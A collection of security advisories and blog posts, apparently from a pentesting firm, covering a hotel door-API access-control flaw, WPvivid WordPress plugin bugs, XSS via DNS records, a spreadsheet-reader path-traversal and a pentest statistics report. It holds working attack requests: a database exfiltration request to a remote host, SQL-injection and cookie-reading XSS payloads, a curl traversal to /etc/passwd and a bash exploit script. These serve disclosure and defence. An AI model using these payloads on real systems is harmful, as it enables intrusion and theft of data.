Schwachstelle öffnet Türen in mehr als 3.000 Hotels

Es mag bequem klingen: Die Zimmertür im Hotel lässt sich ganz ohne Schlüssel oder Karte vom Smartphone aus entriegeln. Doch was passiert, wenn die Logik eines solchen Systems nicht ausreichend abgesichert ist?

Zimmertüren von Hotels aus über 25 Ländern ließen sich mit einer neu entdeckten Schwachstelle öffnen. Bequem? Ja, über das Internet und ohne Zugangsdaten. Dazu konnten sämtliche Reservierungsinformationen (u. a. Name, E-Mail, Reservierungszeitraum und Raumnummer) eingesehen werden. Doch wie kam es dazu?

Zusammenfassung

Die Firma straiv ist ein innovativer und digitaler Begleiter für Hotelbranchen. Als solcher bieten sie unter anderem Online-Check-ins und digitale Türöffnungen an. Was den Sicherheitsforschern Björn Brauer, Deniz Adrian und David Mathiszik bei einem Hotelbesuch jedoch auffiel: Angreifenden wäre es dank einer fehlerhaften Zugangskontrolle in der API möglich, den Check-in und das Öffnen von Türen auch ohne Autorisierung über das Internet zu bedienen.

Im Rahmen einer vertraulichen Offenlegung (engl. Responsible Disclosure oder auch Coordinated Vulnerability Disclosure – CVD) wurden die technischen Details daraufhin direkt an den Hersteller übermittelt. straiv reagierte zeitnah und behob die Sicherheitslücke in ihrer Anwendung umgehend.


Dank ihres Software-as-a-Service-Ansatzes konnte das Unternehmen das Sicherheitsrisiko zeitgleich für alle Kunden mitigieren. Es wird daher auch keine CVE-ID für diese Schwachstelle vergeben. Die Veröffentlichung der Schwachstelle erfolgt in Abstimmung mit dem Hersteller frühestens einen Monat nach der erfolgreichen Behebung.

Die Ursache: Broken Access Control

Broken Access Control belegt aktuell Platz 1 unter den beliebtesten (lies: häufigsten) Schwachstellen in Webanwendungen (siehe: A01:2021 – OWASP Top 10). Auch hier war eine fehlerhafte Zugriffskontrolle die Ursache.

Für gewöhnlich erhalten Gäste eine E-Mail mit einem Link zu ihrer Reservierung. Über diesen werden sie auf die Webanwendung von straiv weitergeleitet. Dort können Buchungsinformationen, die Reisedaten und alle Begleiterprofile eingesehen werden. Ein weiterer Menüreiter führt zu den digitalen Zimmerschlüsseln. Darüber kann die Zimmertür während des eigenen Buchungszeitraums gesteuert werden. Dies geschieht über die API von straiv.io.

Normale API-Anfragen schienen mindestens durch einen HTTP-Header (X-Token), einen Code (cryptcode) und die Reservierungsnummer (reservation) geschützt zu werden. Wurde auch nur einer der Werte verändert, so wurde der Zugriff erwartungsgemäß verwehrt. Fehlten jedoch alle Werte gleichzeitig, wurde nur noch die Reservierungsnummer interpretiert.

In der folgenden beispielhaften Anfrage wurden sämtliche Authentifizierungsparameter, bis auf die Reservierungsnummer, leer gelassen und die API antwortete dennoch mit Informationen zur Reservierung.

POST /api/v2/auth HTTP/2
Host: start.straiv.io
X-Token:
X-Code:
X-Version: 12.3.0
Content-Type: application/json
{
    "cryptcode":"",
    "platform":"linux",
    "browser":"Firefox",
    "version":"115.0",
    "tokens":[],
    "reservation":"3XXXXX"
}

Das Ergebnis enthielt neben anderen Informationen auch einen validen token, der für weitere API-Anfragen genutzt werden konnte.

So lieferte der folgende API-Aufruf noch mehr Kundendetails:

GET /api/v2/vblo/pms/reservation?reservation_id= HTTP/2
Host: start.straiv.io
Accept: application/json, text/plain, */
X-Token: sXXXXXXXXXXXXXXXXXXXh
X-Code: XXXX
X-Version: 12.3.0

Statt die API zu verwenden, kann auch die remote_url aus der Antwort der ersten API-Anfrage verwendet werden, um bequem über die Webanwendung auf die Reservierung zuzugreifen:

HiSolutions hat keine Enumeration von Nutzerdaten durchgeführt und über das Abschätzen der Auswirkungen dieser Schwachstelle hinaus nicht mit der API oder den Buchungen interagiert. Prinzipiell standen alle Funktionalitäten des legitimen Benutzers uneingeschränkt zur Verfügung.

Mitigation

Für die Kunden von straiv bestand kein weiterer Handlungsbedarf. Die Sicherheitslücke wurde von den Entwicklern ernst genommen und umgehend geschlossen.

Grundsätzlich lassen sich Fehler dieser Art durch folgende allgemeine Empfehlungen verhindern:

  • Vertrauen Sie keinen Nutzereingaben – validieren Sie diese.
    Verlassen Sie sich nie auf die Gültigkeit von jeglichen Werten, die von den Endbenutzern beeinflusst werden können. Dazu gehören auch Cookie-Werte, Anfragenparameter und HTTP-Header. Auch auf serverseitig gespeicherte Informationen sollte nich blind in allen Kontexten vertraut werden.
  • Überprüfen Sie Gültigkeit aller Werte serverseitig. Weisen Sie leere oder ungültige Authentifizierungsinformationen zurück. Achten Sie bei der Implementierung von Tests auf eine vollständige Abdeckung aller Randszenarien (ein, mehrere oder auch alle Werte sind unerwartet, NULL, nicht definiert, vom falschen Typ, etc.).
  • Verwenden Sie starke Authentifizierungsmethoden.
    Implementationen sind stets abhängig von der Anwendung und dem Kontext. Greifen Sie, wenn möglich, auf bewährte und praxiserprobte Bibliotheken und Authentifizierungslösungen zurück. Verwenden Sie besonders in Bezug auf sensitive Informationen Zwei-Faktor-Authentifizierung. Stellen Sie zudem sicher, dass alle automatisch generierten Schlüssel, Codes und Token nicht leicht zu erraten und somit vor Brute-Force-Angriffen geschützt sind (vgl. UUID v4).
  • Durchsatzbegrenzung (engl. Rate Limiting) der API-Anfragen:
    Begrenzen Sie die mögliche Anzahl der Anfragen von einzelnen Systemen, um dem Missbrauch, wie der schnellen Enumeration von gültigen Reservierungen, vorzubeugen.

In ihrem Update hat straiv mindestens eine Anfragenbegrenzung aktiviert und Reservierungsnummern auf ein nicht-erratbares Format geändert.

Wie HiSolutions helfen kann

HiSolutions bietet spezialisierte Penetrationstests für Webanwendungen und Infrastrukturen an. Hierbei greifen wir auf langjährige Erfahrung zurück und kombinieren die Fähigkeiten modernster Scantechnologien mit manuellen Prüfverfahren, um die bestmögliche Testabdeckung zu gewährleisten.

Stellen Sie sicher, dass Schwachstellen gefunden und behoben werden, bevor Sie ausgenutzt werden können und kontaktieren Sie uns unter +49 30 533 289 0 oder dem Kontakformular für ein kostenloses Erstgespräch.

Koordinierte Veröffentlichung

  • 22.05.2024 HiSolutions sammelt Details zur Schwachstelle.
    Finder: Björn Brauer, Deniz Adrian & David Mathiszik
  • 23.05.2024 HiSolutions informiert betroffene Hotelkette und wird an straiv weitergeleitet.
  • 25.05.2024 straiv vereinbart einen Termin für die Übermittlung aller Details.
  • 04.06.2024 HiSolutions teilt alle Details mit straiv.
  • 06.06.2024 straiv veröffentlicht ein Update und HiSolutions bestätigt den Fix.

Multiple vulnerabilities in WordPress Plugin – WPvivid Backup and Migration

As part of a customer project, multiple vulnerabilities in the WordPress plugin WPvivid Backup and Migration (Free Edition) were identified and further investigated outside the project to determine the impact in more detail.

The vulnerabilities were identified in version 0.9.68 and probably exist in older versions as well. Upgrade the plugin WPvivid Backup and Migration (Free Edition) to the version 0.9.69 or higher as soon as possible to fix the vulnerabilities.

Background Information

WPvivid Backup and Migration is a WordPress plugin by WPvivid Team and offers backup, migration, and staging as basic features. This plugin has more than 200,000 active installations.

The vulnerabilities

Functions of the WPvivid Backup and Migration plugin in version 0.9.68 can be called remotely without authentication, which allows attackers to exfiltrate the entire WordPress database, for example, or to fill the hard disk of the corresponding system by multiple local copies of the WordPress pages disturbing their availability (CVE-2024-1982).

Furthermore, SQL queries can be manipulated (SQL injection), which means that further database contents can probably be read or manipulated without authentication (CVE-2024-1981).

The plugin is also vulnerable to stored cross-site scripting attacks . For this, a WordPress administrator must execute a manipulated link, for example. This vulnerability was simultaneously published by another researcher and is already tracked under CVE-2021-24994.

Unauthenticated Access to WPvivid Functions (CVE-2024-1982)

The following plugin functions can be called unauthenticated e. g. over the Internet:

  • wp_ajax_nopriv_wpvivid_restore
  • wp_ajax_nopriv_wpvivid_get_restore_progress
  • wp_ajax_nopriv_wpvividstg_start_staging_free
  • wp_ajax_nopriv_wpvividstg_get_staging_progress_free

The function wp_ajax_nopriv_wpvividstg_start_staging_free can be used to trigger the creation of a staging web page. Selected or all files of the WordPress installation are copied into a definable subdirectory. This functionality can be started without prior authentication like this:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

path=custom_name_staging_page&table_prefix=something&custom_dir=something&additional_db={"test":"test"}&root_dir=0

Afterwards, the server response {"result":"success","task_id":"wpvivid-61ba042730a63"} indicates that the action was successful.

By continuously running this function to create staging versions of the web application an attacker can exhaust the systems disk space. Normal operation of the system and especially of the web application can thus no longer be provided.

By specifying a remote system in the parameters of the function wp_ajax_nopriv_wpvividstg_start_staging_free, the contents of the WordPress installation can be exfiltrated. This can be done as in the following example request:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: example.org
[…]
Content-Type: application/x-www-form-urlencoded
 
path=name_existing_staging_page&create_new_wp=1&additional_db={"additional_database_check":"1","additional_database_info":{"db_host":"192.168.0.5","db_name":"something","db_user":"username","db_pass":"password"}}&custom_dir={"database_check":1}&table_prefix=something

Afterwards, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

Thus, an attacker can retrieve sensitive data from WordPress databases.

Update: The vendor fix in version 0.9.69 simply disables the wpvividstg_start_staging_free action, see code changes to includes/staging/class-wpvivid-staging.php here.

SQL Injection in WPvivid Function (CVE-2024-1981)

The parameter table_prefix in the function wpvividstg_start_staging_progress_free appears to be vulnerable to an SQL injection. However, no more in-depth exploitability was performed as part of the research.

The following HTTP request was sent to the plugin function with the parameter value test':

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

 
path=something&additional_db={"test":"test"}&custom_dir={"database_check":1}&table_prefix=test'

Subsequently, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

It may happen that the status has to be queried several times until the following response containing the SQL exception is returned:

{"continue":0,"error":1,"error_msg":"Failed to create a table. Error:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` b...' at line 1, query:CREATE TABLE `test'commentmeta` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` bigint(20) unsigned NOT NULL DEFAULT 0,\n  `meta_key` varchar(255) DEFAULT NULL,\n  `meta_value` longtext DEFAULT NULL,\n  PRIMARY KEY (`meta_id`),\n  KEY `comment_id` (`comment_id`),\n  KEY `meta_key` (`meta_key`(191))\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4","log":"open log file failed","percent":50,"result":"success"}

Update: Here, the vendor fix in version 0.9.69 is the same as for the previous vulnerability. The wpvividstg_get_staging_progress_free action was simply disabled by commenting it out in includes/staging/class-wpvivid-staging.php, see here.

Stored Cross Site Scripting (XSS) in WPvivid

Update: This vulnerability was also independently discovered and reported by another researcher and was assigned CVE-2021-24994 (published during the responsible disclosure process, see here).

The plugin offers remote storage on a Google Drive. For this, an account (called Google Drive Remote Storage Account) for the corresponding authentication must be provided. The name of the specified account is included partially unfiltered in an onclick JavaScript area within the plugin. This means that arbitrary HTML and JavaScript code can be injected. This behavior allows stored XSS attacks via the plugin web interface.

When a logged in WordPress administrator executes the following link, an account with the specified name is automatically stored in the plugin:

http://myblog.hisocorp.com/wp-admin/admin.php?page=WPvivid&action=wpvivid_google_drive_finish_auth&name=test2%22%20onload%3dalert(document.cookie)%3E&default=lll%27%22lll&auth_id

The payload passed in this example adds the JavaScript attribute onload, which is used to display the session cookies in an alert box:

Responsible Disclosure Timeline

  • 15.12.2021 – HiSolutions identified the vulnerabilities
  • 14.01.2022 – HiSolutions contaced WPvivid Team via contact form
  • 20.01.2022 – WPvivid Team responds and HiSolutions sends the details regarding the vulnerabilities
  • 14.02.2022 – WPvivid Team provides the new version 0.9.69 in which the vulnerabilities should be fixed
  • 01.03.2022 – HiSolutions tests the new version. The vulnerabilities were fixed.
  • 29.02.2024 – The Wordfence CNA issues CVE-2024-1981 and CVE-2024-1982.

Credits

The vulnerabilities were found by Denis Werner (HiSolutions AG). The fixes were reviewed by David Mathiszik (HiSolutions AG).

XSS auf Abwegen

Cross-Site-Scripting (XSS) ist ansich eine altbekannte Schwachstelle, die in den meisten gängigen Frameworks mittels Eingabevalidierung standardmäßig mitigiert wird. Auch viele Individualanwendungen im Netz behandeln Eingabefelder, die von Dritten ausgefüllt werden, inzwischen sehr vorsichtig.

Zweckentfremdete DNS-Records

Dass derartige Angriffsvektoren oft auch von unerwarteter Seite kommen, zeigte sich, als ich nach der Lektüre des sehr lesenswerten Artikels The Joy of TXT von Peter Lowe ein wenig mit meinen DNS-Einträgen herumspielte – und prompt auf verschiedenen Seiten, die TXT-DNS-Records auslesen und anzeigen, mit meinen eigenen Popups begrüßt wurde.

TXT-Records werden oft für Validierungszwecke eingesetzt, die über die Standard-DNS-Records nicht abgedeckt werden können. Hierzu zählen meist SPF-, DMARC- und DKIM-Einträge sowie verschiedene Validierungen von Drittanbieter-Services. Unter anderem kann ein derartiger Eintrag zum Beispiel von LetsEncrypt genutzt werden, um die Domain zu verifizieren.
Doch die Möglichkeiten sind praktisch unbegrenzt. TXT-Records können, wie im Artikel beschrieben, sogar relativ große Mengen an Text bereitstellen. Und damit natürlich auch Javascript-Snippets, die auf abfragenden Webseiten mit XSS-Schwachstellen dafür sorgen können, dass Code im Webbrowser angezeigt wird.

Die bekanntesten Anbieter für DNS-Validierungsdienste und artverwandte Services entschärfen derartige Einträge standardmäßig. Auf der Webseite wird der bereinigte Inhalt der TXT-Records angezeigt, das Script kommt nicht zur Ausführung. Doch Ausnahmen bestätigen die Regel: Einige Anbieter scheinen davon auszugehen, dass von dieser Seite keine Gefahr droht und binden die Inhalte ungefiltert im Browser ein – unerwünschten Code inbegriffen.

Unübliche Server-Header

Bei meiner Recherche stieß ich auf eine weitere oft unvalidierte Quelle von fremdem Input: Server-Header. Auch hier wird bei den meisten Anbietern viel vorgefiltert, doch eben nicht bei allen. Und während das Einfügen von Javascript-Code in den meisten Standard-Headern vermutlich zu sehr unvorhersehbarem Verhalten führen würde, gibt es mindestens einen Header, der offensichtlich noch harmlos genug erscheint, um ihn ungefiltert wieder auszugeben: Der „Server“-Header.

Wer sich ein wenig mit den üblichen Verdächtigen Apache, Nginx und IIS auseinandergesetzt hat, wird sicherlich bemerkt haben, dass das Ändern des Server-Headers nicht ganz trivial ist, was diese Wahrnehmung möglicherweise bestärkt. Und während böswillige Aktoren zwar das Wissen haben mögen, wie man den Quellcode eines Webservers anpasst und ihn neu kompiliert, scheint das doch ein recht sperriger Weg zu sein. Doch es gibt mindestens für den Apache Möglichkeiten, den Server-Header nahezu komplett umzuschreiben – kurioserweise mittels des Standard-Moduls „security2“, also known as „modsecurity“.

So gelingt es in einigen Fällen relativ einfach, JavaScript auf Seiten, die Server-Header anzeigen, im Browser zur Ausführung zu bringen. Abhilfe schafft auch hier nur serverseitige Filterung – oder ein Scriptblocker auf Clientseite, der oft aber auch die Funktionalität der Webseite beeinträchtigt, da der eingeschleuste Inhalt ebenfalls im Kontext der Webseite ausgeführt wird. Ein Scriptblocker kann das fremde Script nicht von den regulär eingebundenen Scripten unterscheiden.

Eingeschränkt sinnvoll: Der User Agent

Eine eher esoterische Möglichkeit, Scripte im Browser zu injizieren, ist die Manipulation des User Agent des verwendeten Browsers. Dies kann relativ simpel über Add-Ons geschehen, führt aber in vielen Fällen dazu, dass Aufrufe von Webseiten fehlschlagen. Schuld ist hier ein vorgelagerter Security-Proxy oder – Kuriosum Nummer zwei – das bereits erwähnte „security2“-Modul im Apache. Diese Maßnahmen erkennen das Script im User Agent und sperren den aufrufenden Browser direkt aus.

Der Nutzen dieser Variante ist hingegen fraglich: Sie muss auf dem lokalen Client eingestellt werden und betrifft damit auch nur diesen. Für Angriffe auf Fremdsysteme ist sie unbrauchbar. Man benötigt also bereits Zugriff auf das anzugreifende System – ein Henne-Ei-Problem. Zum Testen der serverseitigen Validierung und aktiver Sicherheitsmechanismen taugt die Methode jedoch allemal. Vorausgesetzt, dass der Server den User Agent auf einer seiner Seiten auch anzeigt.

Fazit: Vertraue niemandem!

Gelingt es, jemanden dazu zu bringen, eine verwundbare Seite aufzurufen und die präparierte Domäne in das entsprechende Textfeld einzutragen, ist ein erfolgreicher Angriff durchaus wahrscheinlich. Und einem Hilferuf in einem beliebigen Supportforum, die Validierungsseite zeige beim eigenen Server Fehler an, können viele Techies nicht widerstehen. Manche Webservices erlauben sogar das Angeben der zu überprüfenden Domäne über einen URL-Parameter, das manuelle Eingeben der Domain entfällt durch den Klick auf den Link damit komplett. Dass derartige Seiten Fremdcode einbetten vermutet auch in der technisch versierten Community bei weitem nicht jeder. Und da diejenigen, die sich gerne als Helfer in Support-Foren tummeln, oft auch in der technischen Administration in Unternehmen tätig sind, ist der Sprung zu Supply-Chain-Attacken nicht nur theoretisch denkbar.
Selbstverständlich können auf Seiten des potenziellen Opfers Virenscanner und Scriptblocker aktiv sein und den Angriff abfangen, doch dieses Risiko geht ein Angreifer immer ein.

Es zeigt sich jedenfalls wieder, dass generell bei jedem Input, bei jeder Variable, bei jedem Datenbankeintrag, der nicht vom eigenen System(-verbund) kommt, Vorsicht geboten ist. Eine zusätzliche Absicherung der Systeme, beispielsweise mittels Web Application Firewall, Security-Modulen oder vorgelagerten Prüfsystemen, sollte Standard sein. Zusätzliche Sicherheit bietet beispielsweise eine restriktive Content Security Policy (CSP), die das Ausführen von Inline-Scripten und das Nachladen von fremden Domains im Browser komplett unterbindet.

Arbitrary File Read vulnerability – PHP library nuovo/spreadsheet-reader 0.5.11

Within the scope of a penetration test HiSolutions‘ security consultants discovered an arbitrary file read vulnerability in the spreadsheet-reader library by nuovo. The vulnerability was reported before by another security researcher on 17th Dec 2020 but does not have gotten any attention by the author since. After unsuccessful attempts to contact the author via different channels, HiSolutions decided to release exploit details without further actions. The vulnerability affects the current version 0.5.11 which is the latest version since 2015. It may affects earlier versions as well.

Update: As of April 2023, this vulnerability was assigned CVE-2023-29887.

Background Information

The spreadsheet-reader library by nouvo is a widely used PHP software which is used to read out XLS, XLSX, ODS and variously separated text files. The project is hosted on Github and got a decent number of 660 stars and 494 forks. Furthermore it is listed on Packagist, a known PHP package repository, and was downloaded over 500.000 times. Using dependency managers like composer, the vulnerable library obviously found its way into various PHP websites (see Google dork in section “impact” for more information).

The vulnerability

The software ships with a “test.php” file located in the root-directory if the project. The PHP file can be called with the parameter “File” via HTTP GET. Due to the lack of security checks arbitrary paths can be passed as a value for the File parameter:

curl http://127.0.0.1/vendor/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd

As a result from the request above, the contents of the etc/passwd file get returned as a nested PHP array:

---------------------------------
Starting memory: 670416
---------------------------------
---------------------------------
Spreadsheets:
Array
(
    [0] => passwd
)
---------------------------------
---------------------------------
---------------------------------
*** Sheet passwd ***
---------------------------------
0: Array
(
    [0] => root:x:0:0:root:/root:/bin/bash
)
Memory: 3000 current, 719760 base
---------------------------------
1: Array
(
    [0] => bin:x:1:1:bin:/bin:/sbin/nologin
)
Memory: 3232 current, 719992 base
---------------------------------
2: Array
(
    [0] => daemon:x:2:2:daemon:/sbin:/sbin/nologin
)
Memory: 3224 current, 719984 base
---------------------------------
3: Array
(
    [0] => adm:x:3:4:adm:/var/adm:/sbin/nologin
)

[...]

To display only the actual file content and filter out the “noise” around the output, use the following script:

#!/bin/bash

## usage:
# $ spreadsheet-reader-exploit.sh URL FILEPATH
# $ http://127.0.0.1/vendor/nuovo/spreadsheet-reader ../../../../../../../../../../../etc/passwd

SPREADSHEET_FOLDER_URI=$1
FILEPATH=$2
TMP=/tmp/spreadsheesh.txt

curl -s "${SPREADSHEET_FOLDER_URI}/test.php?File=${FILEPATH}" -o ${TMP}
cat ${TMP} | grep ] | cut -d ">" -f 2- | grep -v '^[[:space:]]*$'

Impact

The vulnerability is trivial to exploit. Attackers are able to read arbitrary files from the servers file system with the privileges of the PHP process.

The following google dork shows that multiple websites are online, using the vulnerable composer package:

inurl:"/nuovo/spreadsheet-reader" (Link)

Remediation

As a quick fix the test.php file should be deleted. This would stop attackers to exploit the vulnerability using the default file.

Nevertheless, the vulnerability is not limited to the default test.php file. The root cause of the problem is that the application itself does not sanitize or normalize the passed path-parameter when reading out files from the file system. Therefore, your software must sanitize the path manually before passing it to the library.

Since the project has not received any updates since 2015, despite many open Github (security) issues, it can be assumed that it is not under active development anymore. Therefore, we recommend to use an alternative library.

Responsible Disclosure Timeline

  • 17.12.2020 – The user “liquidsec” first reported an arbitrary read vulnerability discovered in a penetration test.
  • 30.03.2022 – Independent discovery of the vulnerability by HiSolutions within the scope of a penetration test.
  • since 29.04.2022 – HiSolutions contacted the author through Github, Facebook and LinkedIn.
  • 13.01.2023 – Since the author did not respond to any of the messages, HiSolutions decided to disclose the exploitation details.

Credits

The vulnerability was found by Ronny Dobra (HiSolutions AG).

HiSolutions Schwachstellenreport 2021

Hier gibt es unser Whitepaper Schwachstellenreport 2021 zum Download.

Immer wieder taucht die Frage auf, wie die Ergebnisse von Penetrationstests im Vergleich mit „typischen“ Ergebnissen einzustufen sind und ob die identifizierten Probleme bei anderen Unternehmen in ähnlicher Form und Schwere bestehen.

Wir haben diese Fragen zum Anlass genommen, die von uns in den letzten Jahren durchgeführten Tests auszuwerten und die jeweils identifizierten Schwachstellen nach Schweregrad und Kategorien zu analysieren. Diese Aggregation erlaubt uns, sowohl die Vertraulichkeit der Projektergebnisse gegenüber unseren Kunden zu wahren als auch Aussagen über typische Testergebnisse und Problembereiche abzuleiten, die entweder besonders häufig auftauchen oder besonders schwerwiegende Lücken darstellen. Durch die Fortschreibung der Auswertung über die Jahre hinweg werden dabei auch interessante Trends und wichtige Entwicklungen in der Sicherheitslage deutlich.

Vorgehen

Dieser Report beruht auf einer Auswertung der Ergebnisse aus insgesamt 89 Penetrations- und Schwachstellentests, die im Jahr 2020 durchgeführt wurden. Zusätzlich wurden die Befunde mit den Ergebnissen der Schwachstellenreports aus den Jahren 2013 bis 2019 verglichen.

Die durchgeführten Tests betreffen verschiedene Zielumgebungen von Netzwerkinfrastrukturen über Web-Anwendungen bis hin zu einzelnen Systemen und Verfahren, weswegen sie nicht direkt miteinander vergleichbar sind. Durch die Kategorienbildung bei den Schwachstellen lassen sich dennoch interessante Beobachtungen ableiten.

Für die Kategorien wurde sich zunächst an den „OWASP Top 10“ orientiert. Diese Veröffentlichung des OWASP-Projektes aus dem Jahr 2017[1] umfasst eine Systematik der schwerwiegendsten Schwachstellen für Web-Anwendungen, die dort auf der Grundlage einer Berechnung der Schweregrade auf der Basis von Häufigkeiten und Auswirkungen erstellt wurde. Die Kategorien lassen sich dabei zum Teil auch auf andere Testziele gut übertragen, decken jedoch nicht alle Befunde vollständig ab, sodass einige selbst erstellte Kategorien ergänzt wurden. Diese umspannen den gesamten Zyklus der Softwareentwicklung und des Betriebs von Architektur und Design über Implementierung bis hin zur Systempflege. Dadurch lassen sich auch entsprechende Sicherheitslücken jenseits von Web-Anwendungen feingranular einordnen.

Die Aggregation der Daten bringt einige praktische Schwierigkeiten mit sich: Aufgrund der Verschiedenartigkeit der durchgeführten Tests ließen sich keine relevanten Aussagen zur Häufigkeit von Schwachstellen in einem bestimmten System oder einer Anwendung ermitteln. Auch werden in den Projektberichten gleichartige Schwachstellen auf verschiedenen System häufig zu einem Befund zusammengefasst, sodass eine Zählung der Befunde hier ebenfalls nur begrenzte Aussagekraft hat. Aufgrund dessen wird als Maß die relative Häufigkeit von Projekten, in welchen ein Befund der entsprechenden Kategorie auftaucht, verwendet. Dadurch wird deutlich, welche Schwachstellen besonders häufig in Projekten auftreten und welche eher selten oder nur in besonderen Zielumgebungen vorkommen.

Für die Bewertung der Relevanz einer Schwachstelle wird in den Prüfberichten ein standardisiertes Schema verwendet, welches aus der Bewertung der Komplexität des Angriffs und des zu erwartenden Schadens zu einer Einordnung in die folgenden Kategorien führt:

     CRITICAL (C)            Systeme akut gefährdet, umgehendes Handeln erforderlich

     HIGH (H)                   hohe praktische Relevanz – sollte priorisiert behoben werden

     MEDIUM (M)             relevantes Schadenspotenzial in Verbindung mit anderen Problemen

     LOW (L)                    für sich genommen keine unmittelbare Gefahr

Rein informative Befunde (z. B. festgestellte funktionale Fehler ohne Sicherheitsbezug) wurden in der Auswertung nicht berücksichtigt.

Ergebnisse

Im Folgenden werden die Erkenntnisse aus der Auswertung der Penetrationstests des letzten Jahres vorgestellt. Es werden die durch die Tests gefundenen Sicherheitslücken im Vergleich der Ergebnisse der letzten Jahre begutachtet. Hierfür werden die Kategorie und der Schweregrad der Schwachstellen betrachtet. Die Auswertung von Nachtest-Ergebnissen erlaubt auch in diesem Jahr wieder eine Untersuchung über die Effizienz der im Anschluss an Penetrationstests durchgeführten Maßnahmen.

Bei der Auswertung der Projekte des Jahres 2020 müssen die Besonderheit des Jahres in Bezug auf die globale Covid-19-Pandemie im Blick behalten werden. So ist es dieses Jahr besonders wichtig, die Entwicklung der Ergebnisse der Penetrations- und Schwachstellentests im Zusammenhang mit den Einschränkungen zur Pandemiebekämpfung und den Auswirkungen auf die verschiedenen Projektarten zu begutachten und zu bewerten.

Die erste Abbildung zeigt die Entwicklung des Schweregrades von Sicherheitslücken von 2013 bis 2020. In diesem Fall werden alle Funde eines Penetrationstests betrachtet. Jedem Test wird die höchste Kritikalität seiner Funde zugeordnet, da eine einzige Schwachstelle des entsprechenden Schweregrades genügen kann, die Sicherheit des gesamten Systems zu beeinträchtigen.

Von 2013 bis 2015 gab es einen klaren Anstieg der kritischen, hohen und mittleren Befunde. Die Anzahl dieser sank in den nächsten Jahren bis 2018 zwar deutlich, um 2019 erneut stark zu steigen. Wie bereits im Bericht des letzten Jahres vermutet, liegt der starke Anstieg der als hoch eingestuften Funde in 2019 vermutlich im Rahmen der kurzzeitigen Schwankungen, welche zwar nicht direkt einen Negativtrend darstellt, aber dennoch beobachtet werden sollte.

Die Entwicklung der Kritikalitätsverteilung im Jahr 2020 zeigt im Vergleich zu 2019 einen Anstieg der Schwachstellen mit mittleren und niedrigen Auswirkungen und damit einhergehend eine Abnahme der kritischen und hohen Schwachstellen. Der Grund für diesen starken Unterschied liegt allerdings nicht in einem wesentlich verbesserten Sicherheitsniveau der Untersuchungsgegenstände, sondern lässt sich vielmehr durch die Auswirkungen der Covid-19-Pandemie erklären: Durch die Maßnahmen gegen die Pandemie (z. B. Lockdowns, Reisebeschränkungen und Home-Office-Regelungen) konnten im Jahr 2020 deutlich weniger interne Penetrationstests durchgeführt werden. Im Gegensatz zu externen Prüfungen über das Internet werden bei Penetrationstests in internen Netzwerken fast ausnahmslos eine wesentlich höhere Anzahl an Befunden und Schwachstellen mit hohen und kritischen Auswirkungen aufgedeckt.

Dies liegt unter anderem daran, dass extern erreichbare Systeme täglich im Fokus verschiedenster Angreifer stehen und kritische Schwachstellen kurzfristig ausgenutzt werden. Je nach den Folgen der Ausnutzung und gegebenenfalls vorhandener öffentlicher Berichterstattung zu den Schwachstellen führt dies dazu, dass Schwachstellen in externen Systemen schneller erkannt und behandelt werden. Dies gilt umso mehr, als dass heutzutage ein Großteil der Unternehmen weiterhin einen Netzwerkschutz nach dem Perimeter-System betreiben. Die Absicherung nach außen steht dabei im Fokus der Sicherheitsmaßnahmen, wobei die Behandlung von Sicherheitsrisiken in internen Systemen nachrangig behandelt wird oder durch Ressourcenmangel nicht oder nur stark verzögert erfolgen kann.

Abbildung 1: Entwicklung der Kritikalität von 2013 bis 2020

Um die Sicherheit von bestehenden Systemen zu verbessern und Sicherheitsaspekte im Entwurf neuer Systeme zu berücksichtigen, ist es wichtig zu verstehen, welche Art von Sicherheitslücken besonders häufig auftritt und welche Auswirkungen dies haben kann.

In Abbildung 2 wird daher zunächst die Entwicklung des Auftretens bestimmter Fehlerklassen in den letzten Jahren gezeigt. Dargestellt wird der Anteil der Penetrationstests, welche mindestens einen Befund der Kategorie erzeugt haben.

Im abgelaufenen Jahr ist besonders zu bemerken, dass eine Preisgabe von schützenswerten Daten, welche im letzten Jahr stark gesunken war, erneut enorm angestiegen und nun wieder in 8 von 10 Fällen zu finden ist. Zugleich ist aber die Anzahl der fehlerhaften Konfigurationen mit Auswirkung auf die Sicherheit eines Systems nach einem dramatischen Anstieg im letzten Jahr wieder gesunken, wobei eine solche noch immer in 80 % der Penetrationstests aufzufinden ist. Auch Funde im Bereich der Injektion und fehlerhafter Authentifizierung oder Sitzungsverwaltung sind im Vergleich zum vorherigen Jahr wieder häufiger geworden, wobei in diesen Fällen der Anstieg um ca. 5 % im Bereich normaler Schwankungen liegt.

Abbildung 2: Relative Häufigkeit der Kategorien[2] von 2016 bis 2020

Positiv zu vermerken scheint, dass der Anteil der Funde im Bereich von Implementierungsfehlern, mangelnder Systempflege und fehlerhafter Authentifizierung oder Sitzungsverwaltung im Vergleich zu 2019 wieder stark sank. Wie schon bei der Kritikalitätsentwicklung sind jedoch auch diese Entwicklungen mit großer Wahrscheinlichkeit den Auswirkungen der Covid-19- Pandemie zuzurechnen, da Fehler in diesen Bereichen zum Großteil bei internen Penetrationstests bemerkt werden.

Abbildung 3 zeigt die Schwere der Befunde im vergangenen Jahr aufgeschlüsselt nach Kategorie und im Vergleich zu den Befunden des vorangegangenen Jahres. Angegeben wird dabei der Anteil der unterschiedlichen Kritikalitätswerte an den Gesamtbefunden der jeweiligen Kategorie.

